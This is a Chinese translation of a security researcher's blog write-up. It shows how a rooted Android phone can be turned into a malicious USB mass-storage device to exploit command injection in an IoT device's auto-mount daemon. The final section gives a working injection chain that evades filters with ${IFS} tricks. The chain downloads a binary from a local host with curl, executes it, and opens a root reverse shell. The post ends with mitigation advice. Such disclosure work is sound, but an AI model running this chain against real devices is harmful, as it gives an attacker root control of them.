首页 >> 网络安全 >>病毒分析 >> USB外设的命令注入
详细内容

USB外设的命令注入

当这个Project Zero报告出来时,我开始更多地考虑将USB作为物联网设备的一个有趣的攻击面。其中许多设备允许用户插入USB,然后自动使用该USB执行某些操作,并且自动功能可能过于信任USB设备。那个帖子在我的脑海中被遗忘了,并且大部分都被遗忘了一段时间,直到带有USB端口的物联网设备出现在我的门口,带有USB端口。可悲的是,我还没有得到提到的Raspberry Pi Zero并且运输可能需要比我的注意力范围允许更长的时间,但是一位同事提到Android有ConfigFS支持所以我决定调查那条路线,但让我们稍微回顾一下并设置场景。


我发现有问题的物联网设备会自动安装连接到它的任何USB大容量存储设备,如果设置了某些属性,则会使用这些属性 - 未经过清理 - 来创建安装目录名称。此外,这种安装将通过呼叫C的臭名昭着而发生system功能:恶意USB设备可能以这样的方式设置这些参数,以便获得任意命令。由于负责的守护进程以root身份运行,这意味着我可以插入USB,等待几秒钟,然后在设备上以root身份执行命令。这自然引发了我对所有这些间谍电影的记忆,其中主人公将一些东西插入门的高度复杂的锁中,这使得LED屏幕上的一堆数字闪烁,神奇地打开门,并使他们简洁地声称:“我是在“冷静的语气。我想这样做。


我相当肯定我的攻击会起作用,但我不太熟悉将我的Android设备变成自定义USB外设,搜索大多缺乏解决方案。这篇文章旨在补充那些缺乏互联网搜索的人。如果你想在家里跟随,我使用的是运行最后支持的Android版本的Nexus 5X设备:8.1。我不确定Android 9领域有多么不同。


Android作为海量存储设备

出于我的目的,我需要将我的Android设备显示为USB大容量存储设备,其中包含以下属性:产品名称字符串,产品型号字符串和磁盘标签。你可以自定义更多,但我不关心其余的。我们将从对我来说似乎没有用的东西开始:我熟悉ConfigFS并看到了一个/config/usb_gadget,所以我想我只是用它来使用我知道的ConfigFS方法制作快速大容量存储USB设备关于。我写了一个快速脚本来创建所有条目,但在测试它后我跑到这里:


mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented


我仍然不确定为什么这条路线不起作用,但显然这种方法不受支持。我有点难过,开始深入研究Android和Linux内核源代码,然后再退一步。我不想陷入读取模糊内核代码的兔子洞:我只是想/bin/touch /tmp/haxxed在这个设备上宣布自己1337。所以我为Android版本留下了内核init,看看Android开发者为改变USB功能做了些什么。


纵观一些Android的init文件在这里,你会发现,有两种不同.rc的USB文件:init.usb.configfs.rc和init.usb.rc。敏锐的观察者(参见:实际点击这些链接的人)会看到每个人都检查了属性sys.usb.configfs:如果是1,init.usb.configfs.rc则使用文件中的init.usb.rc条目,否则使用条目。对我来说,sys.usb.configfs是0我证实,事情是被修改过的/sys/class/android_usb目录,所以我调整了我的重点在那里。我没有回去调查sys.usb.configfs设置会发生什么1,所以我不会声称这是唯一的方法,但这是对我有用的方式。

探索未知的

现在我已将焦点转移到/sys/class/android_usb/android0目录,让我们来探索一下。我看到以下内容:


bullhead:/sys/class/android_usb/android0 # ls

bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power

bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup

bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state

bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem

down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent

down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec

enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold

f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state


idVendor,idProduct和iProduct,iManufacturer和f_mass_storage看起来有点熟悉。如果您熟悉ConfigFS,其内容f_mass_storage也类似于该mass_storage函数的内容:


bullhead:/sys/class/android_usb/android0 # ls f_mass_storage

device inquiry_string lun luns power subsystem uevent

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun

file nofua power ro uevent


正是在这一点上,如果我是一个不太诚实的人,我会告诉你我知道这里发生了什么。我不。我的目标只是通过制造恶意USB设备来破解这个问题,而不是了解Linux内核的内部工作原理以及Android如何将自己设置为USB外围设备。我打算稍后再深入讨论这个问题,并且可能会在那时写一篇更全面的博客文章。源代码和设备本身有很多提示,有助于弄清楚如何使用这个目录。

我一直看到的一件事init.usb.rc是这一行:


write /sys/class/android_usb/android0/enable 0

            ....

write /sys/class/android_usb/android0/functions ${sys.usb.config}

write /sys/class/android_usb/android0/enable 1


那么当我只是插入一个开发者设备并使用ADB时,功能设置是什么?


bullhead:/sys/class/android_usb/android0 # cat functions

ffs


我碰巧知道设备上的ADB是使用FunctionFS实现的,ffs看起来像是对我的PowerFS的简写,所以有意义的是启用它。我可能不得不改变这个值,所以让我们继续把它设置为mass_storage并看看会发生什么。


bullhead:/sys/class/android_usb/android0 # echo 0 > enable


我的亚行会议就此消亡。是的,你不能只是杀死USB并期望使用USB连接。好吧,至少我知道它有效!幸运的是,ADB非常适合在TCP / IP上工作,所以我可以重启并且:


adb tcpip 5555

adb connect 192.168.1.18:5555


为了记录,我不会在你当地的咖啡店WiFi上这样做。好了,现在我们已经连接 - 使用光子的魔力 - 我们可以关闭USB并转换到大容量存储,看看会发生什么。


bullhead:/sys/class/android_usb/android0 # echo 0 > enable

bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions

bullhead:/sys/class/android_usb/android0 # echo 1 > enable


很酷,没有错误或崩溃或任何东西。如果您熟悉ConfigFS,您可能也知道我可以修改f_mass_storage/lun/file为大容量存储设备提供一些后备存储。如果您不熟悉ConfigFS,那么现在就知道了:很好!如果您已经知道如何制作图像来支持USB大容量存储设备,那么您比一周前更聪明,可能会跳过下一部分。


制作图像

制作图像时要记住的一件事是我需要能够控制磁盘LABEL值(如图所示blkid)。我们将创建一个文件并使用它而不是做任何花哨的事情。请注意,我实际上并不关心将内容写入USB磁盘:我只是希望目标设备将其识别为大容量存储设备,以便将其安装。为了制作我们的支持图像文件,我们将从很多事情开始:


dd if=/dev/zero of=backing.img count=50 bs=1M


这将创建一个名为backing.img全0 的50MB文件。那是没用的; 我们需要用它来格式化它fdisk。一个更熟练的Linux黑客可能会知道如何编写脚本,但作为一名知识分子,我这样做:


echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img


这种魔力正在fdisk为你填写条目。它看起来像这样:


Welcome to fdisk (util-linux 2.31.1).

Changes will remain in memory only, until you decide to write them.

Be careful before using the write command.


Device does not contain a recognized partition table.

Created a new DOS disklabel with disk identifier 0xd643eccd.


Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.


Command (m for help): Partition type

   p   primary (0 primary, 0 extended, 4 free)

   e   extended (container for logical partitions)

Select (default p): 

Using default response p.

Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479): 

Created a new partition 1 of type 'Linux' and of size 9 MiB.


Command (m for help): Selected partition 1

Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.


Command (m for help): The partition table has been altered.

Syncing disks.


我们用DOS分区表和单个FAT32分区制作一个图像,其他一切都是默认的。凉。我们现在需要做一些格式化和标记:


# losetup --offset 1048576 -f backing.img /dev/loop0 

# mkdosfs -n "HAX" /dev/loop0

# losetup -d /dev/loop0


神奇的1048576是2048 * 512,这是扇区大小的第一个扇区。在这里,我们只是将我们的图像作为/dev/loop0设备附加并运行一个简单的mkdosfs:-n "HAX"在我的情况下这很重要,因为这使我能够控制LABEL。这就是你需要做的。简单。


将它们整合在一起

有了我们的图像,我们现在可以制作完整的USB设备:


$ adb tcpip 5555

$ adb connect 192.168.1.18:5555

$ adb push backing.img /dev/local/tmp/

$ adb shell


并在adb shell:


$ su

# echo 0 > /sys/class/android_usb/android0/enable

# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file

# echo 'mass_storage' > /sys/class/android_usb/android0/functions

# echo 1 > /sys/class/android_usb/android0/enable


如果一切顺利:


# lsusb -v -d 18d1:


Bus 003 Device 036: ID 18d1:4ee7 Google Inc. 

Device Descriptor:

  bLength                18

  bDescriptorType         1

  bcdUSB               2.00

  bDeviceClass            0 (Defined at Interface level)

  bDeviceSubClass         0 

  bDeviceProtocol         0 

  bMaxPacketSize0        64

  idVendor           0x18d1 Google Inc.

  idProduct          0x4ee7 

  bcdDevice            3.10

  iManufacturer           1 LGE

  iProduct                2 Nexus 5X

  iSerial                 3 0000000000000000

  bNumConfigurations      1

  Configuration Descriptor:

    bLength                 9

    bDescriptorType         2

    wTotalLength           32

    bNumInterfaces          1

    bConfigurationValue     1

    iConfiguration          0 

    bmAttributes         0x80

      (Bus Powered)

    MaxPower              500mA

    Interface Descriptor:

      bLength                 9

      bDescriptorType         4

      bInterfaceNumber        0

      bAlternateSetting       0

      bNumEndpoints           2

      bInterfaceClass         8 Mass Storage

      bInterfaceSubClass      6 SCSI

      bInterfaceProtocol     80 Bulk-Only

      iInterface              5 Mass Storage

      Endpoint Descriptor:

        bLength                 7

        bDescriptorType         5

        bEndpointAddress     0x81  EP 1 IN

        bmAttributes            2

          Transfer Type            Bulk

          Synch Type               None

          Usage Type               Data

        wMaxPacketSize     0x0200  1x 512 bytes

        bInterval               0

      Endpoint Descriptor:

        bLength                 7

        bDescriptorType         5

        bEndpointAddress     0x01  EP 1 OUT

        bmAttributes            2

          Transfer Type            Bulk

          Synch Type               None

          Usage Type               Data

        wMaxPacketSize     0x0200  1x 512 bytes

        bInterval               1

Device Qualifier (for other device speed):

  bLength                10

  bDescriptorType         6

  bcdUSB               2.00

  bDeviceClass            0 (Defined at Interface level)

  bDeviceSubClass         0 

  bDeviceProtocol         0 

  bMaxPacketSize0        64

  bNumConfigurations      1

Device Status:     0x0000

  (Bus Powered)


你可以在这里看到设备:


$ ls -lh /dev/disk/by-id 

lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb

lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1


你应该能够安装:


$ mkdir HAX && sudo mount /dev/sdb1 HAX


当那个有效时我感觉像Neo。现在这只是一个美化的拇指驱动器。真正的乐趣在于我们可以更改参数:


# echo 0 > /sys/class/android_usb/android0/enable

# echo 1337 > /sys/class/android_usb/android0/idProduct

# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer

# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

$ lsusb -v -d 18d1:



Bus 003 Device 044: ID 18d1:1337 Google Inc. 

Device Descriptor:

            ....

  idProduct          0x1337 

            ....

  iManufacturer           1 Carve Systems

  iProduct                2 1337 Hacking USB

            ....

这样可以轻松制作恶意USB设备。


黑客行为

为了让一切都完整,我将通过实际的利用来激发这一点。我正在利用的代码看起来有点类似于:


snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);

snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);

system(cmd);


我的概念验证证据如下:


将shell脚本放在易受攻击的守护程序中cwd,这将产生反向shell

用。执行该文件 sh

一个棘手的问题是他们正在删除空白和/那些变量,但幸运的system是传递给了一个理解$IFS和子shell的shell。一旦我安装了Android设备,利用这个问题很简单,命令将按如下方式构建:


echo 0 > enable

echo ';{cmd};' > iProduct

echo 1 > enable


整个命令链看起来像这样(我删除了一些必要的睡眠命令):


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


# echo 0 > /sys/class/android_usb/android0/enable

# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable


所有这些命令一起创建以下文件(/a):


b=/

s=" "

u=http:$b${b}192.168.1.152:8000${b}shell

curl$s-s$s-o${s}shell$s$u

chmod$s+x${s}shell

${b}shell


最后一个命令用来执行文件sh a。这个脚本提取我编写的二进制文件来获取反向shell。您可以发送您最喜欢的反向shell有效负载,但这种方式总是很简单并且可以快速验证。在执行完最后一个命令后,我们迎接熟悉的:


$ nc -l -p 3567

id

uid=0(root) gid=0(root) groups=0(root)

Nice.


作者:Danny Rosseau --- 小贴士

虽然让自己成为Raspberry Pi Zero可能更容易,但通过扎根的Android设备可以轻松实现这一点非常方便。至于安全要点:重要的是要记住任何外部输入,即使是来自物理设备,也不值得信赖。黑名单有时也会留下容易绕过的洞。有许多方法可以避免这个问题,但任何缓解措施中最重要的部分是不要信任从外部设备中取出的属性。如果需要唯一名称,请生成UUID。如果您需要一个给定设备的常量唯一名称,请验证所需的参数是否存在,然后使用SHA256或您喜欢的散列算法对它们进行散列。在systemC函数也应谨慎使用:它是相当简单的安装只用C代码的驱动器。

技术支持: 建站ABC | 管理登录